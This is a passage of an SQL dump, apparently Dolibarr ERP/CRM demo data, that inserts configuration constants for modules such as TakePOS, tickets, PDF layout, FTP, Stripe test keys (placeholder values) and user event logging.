12:59:00'),(6800,'CASHDESK_ID_THIRDPARTY1',1,'7','chaine',0,'','2019-09-26 15:30:09'),(6801,'CASHDESK_ID_BANKACCOUNT_CASH1',1,'3','chaine',0,'','2019-09-26 15:30:09'),(6802,'CASHDESK_ID_BANKACCOUNT_CHEQUE1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6803,'CASHDESK_ID_BANKACCOUNT_CB1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6804,'CASHDESK_ID_BANKACCOUNT_PRE1',1,'4','chaine',0,'','2019-09-26 15:30:09'),(6805,'CASHDESK_ID_BANKACCOUNT_VIR1',1,'1','chaine',0,'','2019-09-26 15:30:09'),(6806,'CASHDESK_NO_DECREASE_STOCK1',1,'1','chaine',0,'','2019-09-26 15:30:09'),(6811,'FORCEPROJECT_ON_PROPOSAL',1,'1','chaine',0,'','2019-09-27 14:52:57'),(6813,'PROJECT_USE_OPPORTUNITIES',1,'1','chaine',0,'','2019-10-01 11:48:09'),(6814,'PACKTHEMEACTIVATEDTHEME',0,'modOwnTheme','chaine',0,'','2019-10-02 11:41:58'),(6815,'OWNTHEME_COL1',0,'#6a89cc','chaine',0,'','2019-10-02 11:41:58'),(6816,'OWNTHEME_COL2',0,'#60a3bc','chaine',0,'','2019-10-02 11:41:58'),(6817,'DOL_VERSION',0,'10.0.2','chaine',0,'Dolibarr version','2019-10-02 11:41:58'),(6844,'MAIN_THEME',0,'eldy','chaine',0,'','2019-10-02 11:46:02'),(6845,'MAIN_MENU_STANDARD',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6846,'MAIN_MENUFRONT_STANDARD',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6847,'MAIN_MENU_SMARTPHONE',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6848,'MAIN_MENUFRONT_SMARTPHONE',0,'eldy_menu.php','chaine',0,'','2019-10-02 11:46:02'),(6853,'DOL_VERSION',1,'10.0.2','chaine',0,'Dolibarr version','2019-10-02 11:47:10'),(6881,'MAIN_MENU_STANDARD',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6882,'MAIN_MENUFRONT_STANDARD',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6883,'MAIN_MENU_SMARTPHONE',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6884,'MAIN_MENUFRONT_SMARTPHONE',1,'eldy_menu.php','chaine',0,'','2019-10-02 11:48:49'),(6912,'TICKET_ENABLE_PUBLIC_INTERFACE',1,'1','chaine',0,'','2019-10-04 11:44:33'),(7028,'USER_PASSWORD_PATTERN',1,'12;1;0;1;0;1','chaine',0,'','2019-10-07 10:57:03'),(7034,'BOM_ADDON',1,'mod_bom_standard','chaine',0,'Name of numbering rules of BOM','2019-10-08 18:49:41'),(7035,'BOM_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/boms','chaine',0,NULL,'2019-10-08 18:49:41'),(7036,'MAIN_MODULE_GEOIPMAXMIND',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-10-08 18:51:54'),(7037,'MAIN_MODULE_DAV',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2019-10-08 18:54:07'),(7122,'BOM_ADDON_PDF',1,'generic_bom_odt','chaine',0,'','2019-11-28 14:00:58'),(7195,'MAIN_AGENDA_ACTIONAUTO_MO_VALIDATE',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7196,'MAIN_AGENDA_ACTIONAUTO_MO_PRODUCED',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7197,'MAIN_AGENDA_ACTIONAUTO_MO_DELETE',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7198,'MAIN_AGENDA_ACTIONAUTO_MO_CANCEL',1,'1','chaine',0,'','2019-11-29 08:44:37'),(7201,'TICKET_PUBLIC_INTERFACE_TOPIC',1,'MyBigCompany public interface for Ticket','chaine',0,'','2019-11-29 08:49:36'),(7202,'TICKET_PUBLIC_TEXT_HOME',1,'You can create a support ticket or view existing from its identifier tracking ticket.','chaine',0,'','2019-11-29 08:49:36'),(7203,'TICKET_PUBLIC_TEXT_HELP_MESSAGE',1,'Please accurately describe the problem. Provide the most information possible to allow us to correctly identify your request.','chaine',0,'','2019-11-29 08:49:36'),(7204,'TICKET_MESSAGE_MAIL_NEW',1,'TicketMessageMailNewText','chaine',0,'','2019-11-29 08:49:36'),(7220,'MRP_MO_ADDON',1,'mod_mo_standard','chaine',0,'Name of numbering rules of MO','2019-11-29 08:57:42'),(7221,'MRP_MO_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/mrps','chaine',0,NULL,'2019-11-29 08:57:42'),(7222,'MRP_MO_ADDON_PDF',1,'generic_mo_odt','chaine',0,'','2019-11-29 08:57:47'),(7254,'MAIN_INFO_OPENINGHOURS_MONDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7255,'MAIN_INFO_OPENINGHOURS_TUESDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7256,'MAIN_INFO_OPENINGHOURS_WEDNESDAY',1,'8-13','chaine',0,'','2019-12-19 11:14:21'),(7257,'MAIN_INFO_OPENINGHOURS_THURSDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7258,'MAIN_INFO_OPENINGHOURS_FRIDAY',1,'8-12 13-18','chaine',0,'','2019-12-19 11:14:21'),(7264,'MAIN_INFO_ACCOUNTANT_NAME',1,'Bob Bookkeeper','chaine',0,'','2019-12-19 11:14:54'),(7265,'MAIN_INFO_ACCOUNTANT_TOWN',1,'Berlin','chaine',0,'','2019-12-19 11:14:54'),(7266,'MAIN_INFO_ACCOUNTANT_STATE',1,'0','chaine',0,'','2019-12-19 11:14:54'),(7267,'MAIN_INFO_ACCOUNTANT_COUNTRY',1,'5','chaine',0,'','2019-12-19 11:14:54'),(7268,'MAIN_INFO_ACCOUNTANT_MAIL',1,'mybookkeeper@example.com','chaine',0,'','2019-12-19 11:14:54'),(7313,'MODULEBUILDER_ASCIIDOCTOR',1,'asciidoctor','chaine',0,'','2019-12-20 10:57:21'),(7314,'MODULEBUILDER_ASCIIDOCTORPDF',1,'asciidoctor-pdf','chaine',0,'','2019-12-20 10:57:21'),(7337,'EXTERNAL_RSS_TITLE_1',1,'Dolibarr.org News','chaine',0,'','2019-12-20 12:10:38'),(7338,'EXTERNAL_RSS_URLRSS_1',1,'https://www.dolibarr.org/rss','chaine',0,'','2019-12-20 12:10:38'),(7339,'EXPENSEREPORT_ADDON',1,'mod_expensereport_jade','chaine',0,'','2019-12-20 16:33:46'),(7378,'COMPANY_USE_SEARCH_TO_SELECT',1,'0','chaine',0,'','2019-12-21 15:54:22'),(7420,'CASHDESK_SERVICES',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7421,'TAKEPOS_ROOT_CATEGORY_ID',1,'31','chaine',0,'','2019-12-23 12:15:06'),(7422,'TAKEPOSCONNECTOR',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7423,'TAKEPOS_BAR_RESTAURANT',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7424,'TAKEPOS_TICKET_VAT_GROUPPED',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7425,'TAKEPOS_AUTO_PRINT_TICKETS',1,'0','int',0,'','2019-12-23 12:15:06'),(7426,'TAKEPOS_NUMPAD',1,'0','chaine',0,'','2019-12-23 12:15:06'),(7427,'TAKEPOS_NUM_TERMINALS',1,'1','chaine',0,'','2019-12-23 12:15:06'),(7428,'TAKEPOS_DIRECT_PAYMENT',1,'0','int',0,'','2019-12-23 12:15:06'),(7429,'TAKEPOS_CUSTOM_RECEIPT',1,'0','int',0,'','2019-12-23 12:15:06'),(7430,'TAKEPOS_EMAIL_TEMPLATE_INVOICE',1,'-1','chaine',0,'','2019-12-23 12:15:06'),(7454,'MEMBER_NEWFORM_EDITAMOUNT',1,'0','chaine',0,'','2020-01-01 10:31:46'),(7470,'STRIPE_TEST_PUBLISHABLE_KEY',1,'pk_test_123456789','chaine',0,'','2020-01-01 11:43:44'),(7471,'STRIPE_TEST_SECRET_KEY',1,'sk_test_123456','chaine',0,'','2020-01-01 11:43:44'),(7472,'STRIPE_BANK_ACCOUNT_FOR_PAYMENTS',1,'4','chaine',0,'','2020-01-01 11:43:44'),(7473,'STRIPE_USER_ACCOUNT_FOR_ACTIONS',1,'1','chaine',0,'','2020-01-01 11:43:44'),(7489,'CAPTURESERVER_SECURITY_KEY',1,'securitykey123','chaine',0,'','2020-01-01 12:00:49'),(8136,'MAIN_AGENDA_ACTIONAUTO_EXPENSE_DELETE',1,'1','chaine',0,'','2020-01-02 19:56:28'),(8190,'ACCOUNTING_PRODUCT_MODE',1,'ACCOUNTANCY_SELL_EXPORT','chaine',0,'','2020-01-06 01:23:30'),(8191,'MAIN_ENABLE_DEFAULT_VALUES',1,'1','chaine',0,'','2020-01-06 16:09:52'),(8210,'CABINETMED_RHEUMATOLOGY_ON',1,'0','texte',0,'','2020-01-06 16:51:43'),(8213,'MAIN_SEARCHFORM_SOCIETE',1,'1','texte',0,'','2020-01-06 16:51:43'),(8214,'CABINETMED_BANK_PATIENT_REQUIRED',1,'0','texte',0,'','2020-01-06 16:51:43'),(8215,'DIAGNOSTIC_IS_NOT_MANDATORY',1,'1','texte',0,'','2020-01-06 16:51:43'),(8216,'USER_ADDON_PDF_ODT',1,'generic_user_odt','chaine',0,'','2020-01-07 13:45:19'),(8217,'USERGROUP_ADDON_PDF_ODT',1,'generic_usergroup_odt','chaine',0,'','2020-01-07 13:45:23'),(8230,'MAIN_MODULE_EMAILCOLLECTOR',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-12 20:13:55'),(8232,'MAIN_MODULE_SUPPLIERPROPOSAL',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-13 14:37:09'),(8233,'MAIN_MODULE_EXPEDITION',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-13 14:38:20'),(8291,'PRODUIT_MULTIPRICES_LIMIT',1,'5','chaine',0,'','2020-01-17 14:21:46'),(8293,'PRODUIT_CUSTOMER_PRICES_BY_QTY',1,'0','chaine',0,'','2020-01-17 14:21:46'),(8306,'PRODUIT_SOUSPRODUITS',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8310,'PRODUIT_FOURN_TEXTS',1,'0','chaine',0,'','2020-01-17 14:25:30'),(8313,'MAIN_MODULE_FCKEDITOR',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-01-18 17:13:27'),(8314,'FCKEDITOR_ENABLE_TICKET',1,'1','chaine',0,'','2020-01-18 19:39:54'),(8321,'FCKEDITOR_SKIN',1,'moono-lisa','chaine',0,'','2020-01-18 19:41:15'),(8322,'FCKEDITOR_TEST',1,'Test < aaa
\r\n
\r\n\"\"','chaine',0,'','2020-01-18 19:41:15'),(8486,'MAIN_MULTILANGS',1,'1','chaine',0,'','2020-01-21 09:40:00'),(8491,'MAIN_DISABLE_JAVASCRIPT',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8492,'MAIN_BUTTON_HIDE_UNAUTHORIZED',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8496,'MAIN_SHOW_LOGO',1,'1','chaine',0,'','2020-01-21 09:40:00'),(8498,'MAIN_HELPCENTER_DISABLELINK',0,'0','chaine',0,'','2020-01-21 09:40:00'),(8501,'MAIN_BUGTRACK_ENABLELINK',1,'0','chaine',0,'','2020-01-21 09:40:00'),(8554,'MAIN_INFO_SOCIETE_FACEBOOK_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8555,'MAIN_INFO_SOCIETE_TWITTER_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8556,'MAIN_INFO_SOCIETE_LINKEDIN_URL',1,'https://www.linkedin.com/company/9400559/admin/','chaine',0,'','2020-06-12 17:24:42'),(8557,'MAIN_INFO_SOCIETE_INSTAGRAM_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8558,'MAIN_INFO_SOCIETE_YOUTUBE_URL',1,'DolibarrERPCRM','chaine',0,'','2020-06-12 17:24:42'),(8559,'MAIN_INFO_SOCIETE_GITHUB_URL',1,'dolibarr','chaine',0,'','2020-06-12 17:24:42'),(8577,'PRODUCT_PRICE_BASE_TYPE',0,'HT','string',0,NULL,'2020-12-10 12:24:38'),(8633,'MAIN_MODULE_RECEPTION',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:30:13'),(8634,'RECEPTION_ADDON_PDF',1,'squille','chaine',0,'Nom du gestionnaire de generation des bons receptions en PDF','2020-12-10 12:30:13'),(8635,'RECEPTION_ADDON_NUMBER',1,'mod_reception_beryl','chaine',0,'Name for numbering manager for receptions','2020-12-10 12:30:13'),(8636,'RECEPTION_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/receptions','chaine',0,NULL,'2020-12-10 12:30:13'),(8637,'MAIN_SUBMODULE_RECEPTION',1,'1','chaine',0,'Enable receptions','2020-12-10 12:30:13'),(8638,'MAIN_MODULE_PAYMENTBYBANKTRANSFER',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:30:17'),(8640,'MAIN_MODULE_MARGIN_TABS_0',1,'product:+margin:Margins:margins:$user->rights->margins->liretous:/margin/tabs/productMargins.php?id=__ID__','chaine',0,NULL,'2020-12-10 12:30:20'),(8641,'MAIN_MODULE_MARGIN_TABS_1',1,'thirdparty:+margin:Margins:margins:empty($user->socid) && $user->rights->margins->liretous && ($object->client > 0):/margin/tabs/thirdpartyMargins.php?socid=__ID__','chaine',0,NULL,'2020-12-10 12:30:20'),(8644,'MAIN_MODULE_INCOTERM',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\"}','2020-12-10 12:31:36'),(8645,'INCOTERM_ACTIVATE',1,'','chaine',0,'Description de INCOTERM_ACTIVATE','2020-12-10 12:31:36'),(8716,'MAIN_SECURITY_HASH_ALGO',1,'password_hash','chaine',1,'','2021-04-15 10:38:33'),(8760,'MAIN_LANG_DEFAULT',1,'auto','chaine',0,'','2021-04-15 10:56:30'),(8764,'MAIN_SIZE_LISTE_LIMIT',1,'25','chaine',0,'','2021-04-15 10:56:30'),(8765,'MAIN_SIZE_SHORTLIST_LIMIT',1,'3','chaine',0,'','2021-04-15 10:56:30'),(8766,'MAIN_START_WEEK',1,'1','chaine',0,'','2021-04-15 10:56:30'),(8767,'MAIN_DEFAULT_WORKING_DAYS',1,'1-5','chaine',0,'','2021-04-15 10:56:30'),(8768,'MAIN_DEFAULT_WORKING_HOURS',1,'9-18','chaine',0,'','2021-04-15 10:56:30'),(8769,'MAIN_FIRSTNAME_NAME_POSITION',1,'0','chaine',0,'','2021-04-15 10:56:30'),(8877,'AGENDA_REMINDER_BROWSER',1,'1','chaine',0,'','2021-04-15 13:32:29'),(9008,'MAIN_MODULE_KNOWLEDGEMANAGEMENT',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2022-02-07 13:39:27'),(9009,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_TRIGGERS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9010,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_LOGIN',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9011,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9012,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MENUS',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9013,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_TPL',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9014,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_BARCODE',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9015,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MODELS',1,'1','chaine',0,NULL,'2022-02-07 13:39:27'),(9016,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_PRINTING',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9017,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_THEME',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9018,'MAIN_MODULE_KNOWLEDGEMANAGEMENT_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2022-02-07 13:39:27'),(9022,'PAYMENTBYBANKTRANSFER_ID_BANKACCOUNT',1,'1','chaine',0,'','2022-02-07 14:17:28'),(9023,'PAYMENTBYBANKTRANSFER_USER',1,'13','chaine',0,'','2022-02-07 14:17:28'),(9025,'MAIN_MODULE_BLOCKEDLOG',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2022-02-07 14:32:50'),(9294,'RECRUITMENT_RECRUITMENTCANDIDATURE_ADDON',1,'mod_recruitmentcandidature_standard','chaine',0,'Name of manager to generate recruitment candidature ref number','2022-07-04 01:12:19'),(9451,'MAIN_SECURITY_MAX_IMG_IN_HTML_CONTENT',1,'1000','int',0,NULL,'2022-12-11 21:23:35'),(9520,'USER_PASSWORD_GENERATED',1,'Perso','chaine',0,'','2022-12-12 08:30:14'),(9521,'MAIN_LOGEVENTS_USER_LOGIN',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9522,'MAIN_LOGEVENTS_USER_LOGIN_FAILED',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9523,'MAIN_LOGEVENTS_USER_LOGOUT',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9524,'MAIN_LOGEVENTS_USER_CREATE',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9525,'MAIN_LOGEVENTS_USER_MODIFY',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9526,'MAIN_LOGEVENTS_USER_NEW_PASSWORD',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9527,'MAIN_LOGEVENTS_USER_ENABLEDISABLE',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9528,'MAIN_LOGEVENTS_USER_DELETE',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9529,'MAIN_LOGEVENTS_USERGROUP_CREATE',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9530,'MAIN_LOGEVENTS_USERGROUP_MODIFY',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9531,'MAIN_LOGEVENTS_USERGROUP_DELETE',1,'1','chaine',0,'','2022-12-12 09:08:15'),(9624,'MAILING_EMAIL_FROM',1,'dolibarr@domain.com','chaine',0,'','2022-12-13 14:22:18'),(9625,'MAILING_CONTACT_DEFAULT_BULK_STATUS',1,'0','chaine',0,'','2022-12-13 14:22:18'),(9635,'PRODUIT_LIMIT_SIZE',1,'1000','chaine',0,'','2022-12-16 10:47:29'),(9636,'PRODUCT_PRICE_UNIQ',1,'0','chaine',0,'','2022-12-16 10:47:29'),(9637,'PRODUIT_MULTIPRICES',1,'0','chaine',0,'','2022-12-16 10:47:29'),(9638,'PRODUIT_CUSTOMER_PRICES',1,'1','chaine',0,'','2022-12-16 10:47:29'),(9639,'PRODUCT_PRICE_BASE_TYPE',1,'HT','chaine',0,'','2022-12-16 10:47:29'),(9640,'PRODUIT_DESC_IN_FORM',1,'0','chaine',0,'','2022-12-16 10:47:29'),(9641,'PRODUIT_TEXTS_IN_THIRDPARTY_LANGUAGE',1,'0','chaine',0,'','2022-12-16 10:47:29'),(9642,'PRODUIT_USE_SEARCH_TO_SELECT',1,'1','chaine',0,'','2022-12-16 10:47:29'),(9643,'PRODUIT_AUTOFILL_DESC',1,'0','chaine',0,'','2022-12-16 10:47:29'),(9698,'PROJECT_ENABLE_PUBLIC',1,'1','chaine',0,'','2022-12-19 13:49:30'),(9700,'SYSTEMTOOLS_MYSQLDUMP',1,'/usr/bin/mysqldump','chaine',0,'','2022-12-22 12:19:25'),(9714,'EVENTORGANIZATION_TASK_LABEL',1,'','chaine',0,NULL,'2022-12-22 15:13:46'),(9715,'EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF',1,'31','chaine',0,'','2022-12-22 15:13:46'),(9716,'EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH',1,'32','chaine',0,'','2022-12-22 15:13:46'),(9717,'EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH',1,'33','chaine',0,'','2022-12-22 15:13:46'),(9718,'EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT',1,'34','chaine',0,'','2022-12-22 15:13:46'),(9807,'MAIN_PDF_FORMAT',1,'EUA4','chaine',0,'','2022-12-24 14:05:01'),(9808,'MAIN_PDF_MARGIN_LEFT',1,'10','chaine',0,'','2022-12-24 14:05:01'),(9809,'MAIN_PDF_MARGIN_RIGHT',1,'10','chaine',0,'','2022-12-24 14:05:01'),(9810,'MAIN_PDF_MARGIN_TOP',1,'10','chaine',0,'','2022-12-24 14:05:01'),(9811,'MAIN_PDF_MARGIN_BOTTOM',1,'10','chaine',0,'','2022-12-24 14:05:01'),(9812,'MAIN_DOCUMENTS_LOGO_HEIGHT',1,'20','chaine',0,'','2022-12-24 14:05:01'),(9813,'MAIN_GENERATE_DOCUMENTS_SHOW_FOOT_DETAILS',1,'0','chaine',0,'','2022-12-24 14:05:01'),(9814,'PDF_USE_ALSO_LANGUAGE_CODE',1,'0','chaine',0,'','2022-12-24 14:05:01'),(9815,'PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME',1,'0','chaine',0,'','2022-12-24 14:05:01'),(9816,'PDF_USE_A',1,'0','chaine',0,'','2022-12-24 14:05:01'),(10105,'MAIN_MODULE_FTP',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr_deprecated\"}','2022-12-27 17:49:24'),(10106,'FTP_CONNECT_WITH_SSL',1,'0','chaine',1,'Use FTPS for FTP module','2022-12-27 17:49:24'),(10107,'FTP_CONNECT_WITH_SFTP',1,'0','chaine',1,'Use SFTP for FTP module','2022-12-27 17:49:24'),(10111,'FTP_PORT_1',1,'21','chaine',0,'','2022-12-27 17:50:00'),(10112,'FTP_SERVER_1',1,'localhost','chaine',0,'','2022-12-27 17:50:00'),(10113,'FTP_USER_1',1,'myftplogin','chaine',0,'','2022-12-27 17:50:00'),(10114,'FTP_PASSWORD_1',1,'myftppassword','chaine',0,'','2022-12-27 17:50:00'),(10115,'FTP_NAME_1',1,'aaa','chaine',0,'','2022-12-27 17:50:00'),(10116,'FTP_PASSIVE_1',1,'0','chaine',0,'','2022-12-27 17:50:00'),(10138,'CABINETMED_DELAY_TO_LOCK_RECORD',1,'0','chaine',1,'Number of days before locking edit of consultation','2022-12-30 13:37:33'),(10176,'RECRUITMENT_RECRUITMENTJOBPOSITION_ADDON',1,'mod_recruitmentjobposition_standard','chaine',0,'','2023-01-04 13:13:30'),(10180,'TICKET_NOTIFICATION_EMAIL_FROM',1,'fff','chaine',0,'Sender of ticket replies sent from Dolibarr','2023-01-04 14:07:26'),(10181,'TICKET_NOTIFICATION_EMAIL_TO',1,'ff','chaine',0,'Notified e-mail for ticket replies sent from Dolibarr','2023-01-04 14:07:26'),(10182,'TICKET_MESSAGE_MAIL_INTRO',1,'Hello,
\r\nA new response was sent on a ticket that you contact. Here is the message:','chaine',0,'Introduction text of ticket replies sent from Dolibarr','2023-01-04 14:07:26'),(10183,'TICKET_MESSAGE_MAIL_SIGNATURE',1,'

Sincerely,

\r\n\r\n

--
\r\n 

\r\n','chaine',0,'Signature of ticket replies sent from Dolibarr','2023-01-04 14:07:26'),(10184,'TICKET_UNIVERSAL_MASK',1,'TI{yy}{mm}-{000}','chaine',0,'','2023-01-04 14:07:56'),(10191,'RECRUITMENT_RECRUITMENTJOBPOSITION_ADVANCED_MASK',1,'JBD{yy}{mm}-{0000}','chaine',0,'','2023-01-04 14:24:35'),(10193,'RECRUITMENT_RECRUITMENTCANDIDATURE_ADVANCED_MASK',1,'JOA{yy}{mm}-{0000}','chaine',0,'','2023-01-04 14:25:12'),(10261,'MAIN_VERSION_LAST_UPGRADE',0,'17.0.0','chaine',0,'Dolibarr version for last upgrade','2023-01-06 11:27:42'),(10270,'MAIN_MODULE_AGENDA',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10271,'MAIN_MODULE_BOM',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10272,'MAIN_MODULE_BANQUE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10273,'MAIN_MODULE_BARCODE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10274,'MAIN_MODULE_CRON',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10275,'MAIN_MODULE_COMMANDE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10276,'MAIN_MODULE_DON',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10277,'MAIN_MODULE_ECM',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10278,'MAIN_MODULE_EXPENSEREPORT',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10279,'MAIN_MODULE_FACTURE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10280,'MAIN_MODULE_FOURNISSEUR',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:21'),(10281,'MAIN_MODULE_HOLIDAY',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10282,'MAIN_MODULE_MARGIN',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10285,'MAIN_MODULE_MRP',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10286,'MAIN_MODULE_MRP_TRIGGERS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10287,'MAIN_MODULE_MRP_LOGIN',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10288,'MAIN_MODULE_MRP_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10289,'MAIN_MODULE_MRP_MENUS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10290,'MAIN_MODULE_MRP_TPL',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10291,'MAIN_MODULE_MRP_BARCODE',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10292,'MAIN_MODULE_MRP_MODELS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10293,'MAIN_MODULE_MRP_THEME',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10294,'MAIN_MODULE_MRP_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10295,'MAIN_MODULE_OPENSURVEY',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10296,'MAIN_MODULE_PRINTING',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10297,'MAIN_MODULE_RECRUITMENT',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10298,'MAIN_MODULE_RECRUITMENT_TRIGGERS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10299,'MAIN_MODULE_RECRUITMENT_LOGIN',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10300,'MAIN_MODULE_RECRUITMENT_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10301,'MAIN_MODULE_RECRUITMENT_MENUS',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10302,'MAIN_MODULE_RECRUITMENT_TPL',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10303,'MAIN_MODULE_RECRUITMENT_BARCODE',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10304,'MAIN_MODULE_RECRUITMENT_MODELS',1,'1','chaine',0,NULL,'2023-01-12 